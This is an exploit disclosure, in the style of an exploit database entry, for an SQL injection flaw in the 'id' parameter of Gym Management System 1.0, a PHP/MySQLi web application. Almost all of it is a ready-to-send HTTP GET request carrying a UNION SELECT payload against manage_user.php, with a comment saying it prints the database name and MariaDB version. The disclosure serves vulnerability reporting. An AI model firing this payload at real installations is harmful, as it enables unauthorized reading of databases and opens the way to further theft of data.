Gym Management System 1.0 - 'id' SQL Injection

# Exploit Title: Gym Management System 1.0 - 'id' SQL Injection
# Date: 22/10/2020
# Exploit Author: Jyotsna Adhana
# Vendor Homepage: https://www.sourcecodester.com/php/14541/gym-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14541&title=Gym+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

#parameter Vulnerable: id
# Injected Request

GET /gym/gym/manage_user.php?id=-1+UNION+ALL+SELECT+NULL,GROUP_CONCAT(database(),version()),NULL,NULL,NULL-- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/gym/gym/index.php?page=users
Cookie: PHPSESSID=7lojvad06l803amt3f7hp7o8re


//Comment
Above request will print database name and MariaDB version.